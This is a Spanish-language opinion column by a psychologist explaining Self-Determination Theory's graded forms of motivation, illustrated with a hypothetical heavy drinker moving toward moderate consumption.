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Inicio Columnas¿Ángeles caídos o antropoides erguidos? ¿En mi casa mando yo? Las formas de la autodeterminación

¿En mi casa mando yo? Las formas de la autodeterminación

Por Dr. Luis Flórez Alarcón
La historia y la vida

Que alguien decida realizar una acción no significa necesariamente que esa sea su voluntad libre ni que se trate de una decisión consciente. Si bien es cierto que la decisión representa la manifestación más representativa de la motivación, puede tratarse de una decisión que obedece a distintas variedades de determinación, que oscilan entre una determinación externa que obliga al ejecutor a realizar la acción, en ocasiones de forma coercitiva y contra su voluntad, hasta una determinación interna que lo conduce a realizarla por convicción, con gusto y completo acuerdo. Eso introduce matices que permiten distinguir entre variedades de una motivación controlada de forma externa, y una motivación autónoma. La importancia que en la actualidad se asigna a la publicidad y a las campañas de imagen constituye una muestra de la capacidad que tiene el manejo de la determinación controlada externamente para conducir a las personas a tomar decisiones que aparentemente son autónomas y, por consiguiente, a asumir la responsabilidad por sus resultados, cuando en realidad obedecen a controles externos hábilmente manipulados. La presente nota se propone abordar este tema desde los postulados que formula la Teoría de la Autodeterminación (TAD).

Una de las teorías motivacionales contemporáneas que han alcanzado un grado bastante elevado de confirmación científica y de aplicabilidad práctica, especialmente en los ámbitos de la educación, del deporte, de la salud y del trabajo, es la Teoría de la Autodeterminación (TAD), propuesta por los psicólogos Richard Ryan y Edward Deci, profesores de la Universidad de Rochester en el estado de New York. A ellos probablemente no les importaría tanto explorar cuánto manda usted en su propia casa, sino cuál es la calidad de las determinaciones que rigen ese mando, calidad que surge del tipo de convicciones o de la racionalidad de las creencias que se han internalizado y lo conducen a usted a tomar alguna determinación. En el siguiente video, el propio Edward Deci plantea una síntesis de su posición teórica acerca de la motivación humana, de la cual podemos extraer conclusiones que nos llevan directamente a relacionar la calidad de la autodeterminación con la potencialidad que el monólogo socrático puede tener para fortalecerla o para modificarla.

Dos aspectos diferentes de la TAD hacen referencia a asuntos muy relevantes: a) Un aspecto hace referencia a las distintas cualidades de la motivación extrínseca y de la motivación intrínseca, explicadas a partir de las diferentes clases de internalización que la persona tiene acerca de las creencias subyacentes a un comportamiento. b) Otro aspecto hace referencia a las necesidades psicológicas que subyacen al inicio y mantenimiento de un comportamiento, centrando el análisis en las necesidades psicológicas de autonomía, competencia, e interacción social. La presente nota se dedica al primer aspecto, referente a las formas de la autodeterminación, mientras que el segundo aspecto, más relacionado con el sentido de vida, lo abordaré en una nota posterior.

Una clasificación archiconocida de la motivación es la que la categoriza como motivación extrínseca o como motivación intrínseca. Se sabe con suficiente certeza que las acciones motivadas intrínsecamente tienen una mayor probabilidad de ejecución y de permanencia que las motivadas extrínsecamente, las cuales solamente se van a cumplir mientras permanezcan las causas externas que las determinan. La motivación intrínseca emana de convicciones fuertemente arraigadas en la persona, por lo cual la realización de las acciones coherentes con dichas convicciones la llevan a experimentar satisfacción o placer, logrando realizar las metas más relevantes en su vida. Este sentido asociado al hedonismo (placer generado por las acciones) ha sido una de las características más utilizadas para identificar los comportamientos motivados intrínsecamente, incluso en detrimento de un aspecto ético alterno asociado al eudemonismo (valor o finalidad de las acciones), que es la otra característica relevante de la motivación intrínseca.

Seguramente recordamos las exhortaciones de nuestros padres y maestros por fomentar el cumplimiento de las normas, y gozar del mismo, por razones de convicción interna, y no por la presencia externa, controladora, de alguien o de algo que esté solo ocasionalmente presente ante nosotros. Sería, por ejemplo, algo como la exhortación a cumplir las normas de tránsito por el disfrute de hacer lo correcto y no padecer ansiedad por la inminencia del castigo si se incumple (aspecto hedonista), aunque sería mejor hacerlo, adicionalmente, por la convicción sobre la seguridad física que este cumplimiento representa para nuestra integridad vital y la de los demás, aspecto ético o eudemonista asociado al valor que se atribuye a la meta de la acción, del cual emana la más potente motivación intrínseca de la persona que la ejecuta. Aquí se resaltan el hedonismo (obtención de placer) y el eudemonismo (logro de metas valoradas), como aspectos que caracterizan la naturaleza intrínseca de la motivación para llevar a la ejecución más intensa o persistente de una acción cualquiera.

La TAD propone que entre la determinación externa y la determinación interna de una acción existen tres niveles intermedios de determinación, a los que denomina “introyección”, “identificación” e “integración”, algunos más asociados a la motivación controlada externamente, y otros más asociados a la motivación autónoma. El incremento de la motivación autónoma hacia acciones que fomentan el bienestar personal y social es lo que se busca a través del cuestionamiento y del cambio de creencias, mediante el uso a profundidad del monólogo socrático.

Una ilustración puede ayudar a clarificar este asunto: tomemos el caso de una persona que consume excesivamente alcohol y de las posibilidades de que su consumo abusivo cambie autónomamente hacia un consumo moderado de la bebida. Por supuesto no se hace referencia al caso de un consumidor dependiente (“alcohólico” propiamente dicho), pues se trataría de una situación en la que la naturaleza biológica llevaría a una modificación sustancial del cuadro sobre los determinantes del consumo de alcohol, y, por consiguiente, de las conclusiones derivadas del mismo. Es decir, la ilustración trata sobre un hipotético consumidor excesivo de alcohol, en el que aún no se manifiestan situaciones biológicas como las de la tolerancia al alcohol y el síndrome de abstinencia, en las que el consumo moderado ya no sería una meta posible, obligando a la abstinencia total como única meta razonable. En este segundo caso (consumidor dependiente del alcohol), un cambio heterónomo (por ejemplo bajo control médico externo) sería más probable de obtener que un cambio autónomo, el cual vendría a fortalecerlo con posterioridad, cuando se hayan modificado primero los determinantes biológicos, para pasar luego a pensar en los propios de la autodeterminación.

En la autodeterminación externa, la persona decide moderar el consumo por razones propias de otros, no de ella misma, por ejemplo por las presiones que recibe de su cónyuge, quien amenaza divorciarse si no disminuye el exceso de alcohol, o de su jefe en el trabajo, quien no tolera la mala imagen que proyecta quien va a trabajar luego de haber bebido excesivamente.

En la autodeterminación introyectada, la persona decide moderar el consumo movida por la evitación de las emociones negativas que pueden acarrearle las consecuencias del exceso, tales como la culpabilidad o el temor. Por ejemplo, lo hace para evitar la culpabilidad que le generaría ver a su familia en malas condiciones, o por el temor de ser despedida del trabajo.

En la autodeterminación identificada, la persona podría reconocer que otros tienen razón cuando le dicen que ella tiene un problema importante, e iniciar la moderación como principal medio de resolver ese problema.

En la autodeterminación integrada la persona asume como propios los valores inherentes al consumo moderado. Si le agrega el placer de experimentar nuevas formas de obtener por medios más adecuados las ganancias que supuestamente le aportaba antes el consumo de alcohol (ej. nuevas formas de interactuar amenamente con otros, de tener relaciones sexuales placenteras, etc.), la persona estaría en una condición de auténtica autodeterminación interna para la moderación del consumo.

En las anteriores ilustraciones se aprecia la fragilidad de las decisiones tomadas en el caso de la autodeterminación externa o de la introyectada, aunque la segunda puede generar un mayor potencial de resistencia a la recaída que la primera. En ambos casos, de acuerdo con la TAD, se trataría de determinaciones controladas externamente, más cercanas a la motivación extrínseca que a la intrínseca.

A partir del momento en que la persona comienza a identificarse con las razones que afirman la presencia de una problemática personal, inicia la carrera hacia una mayor motivación interna para moderar el consumo, lo que le confiere un potencial superior de permanencia en el consumo moderado y de resistencia ante las tentaciones de recaída en el consumo excesivo. Potencial que crece sustancialmente cuando la persona integra a su sistema de creencias los conceptos que resaltan el valor positivo del consumo moderado, a la vez que se permite a sí misma experimentar el gusto o el placer de nuevas formas de comportamiento que sustituyen al exceso alcohólico. Las formas de autodeterminación identificada, integrada e interna, son consideradas por la TAD como formas autónomas de determinación, que aproximan a la persona a la motivación intrínseca, de manera cualitativamente superior en cada caso.

“Mandar” en la propia casa significa reconocer que uno es la persona más importante en su propia vida. Pueden superarse con mayor o menor facilidad las ausencias de los demás, pero resulta muy difícil hacerlo cuando uno es el que se falla a sí mismo. Cuenta mucho, para que haya cumplimiento consigo mismo, la naturaleza de las decisiones que uno toma en ejercicio del derecho al libre desarrollo de la personalidad, pues no toda determinación, por el solo hecho de ser autodeterminada, implica el mismo grado de autonomía ni produce los mismos resultados. Queda en el tintero otro asunto, el de la naturaleza de las metas que uno asume, tema más relacionado con la ética, la felicidad, el eudemonismo y el sentido de vida, que permite responder no solo si “en mi casa mando yo”, sino “para qué mando yo”.

 

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luisflorez@cable.net.co
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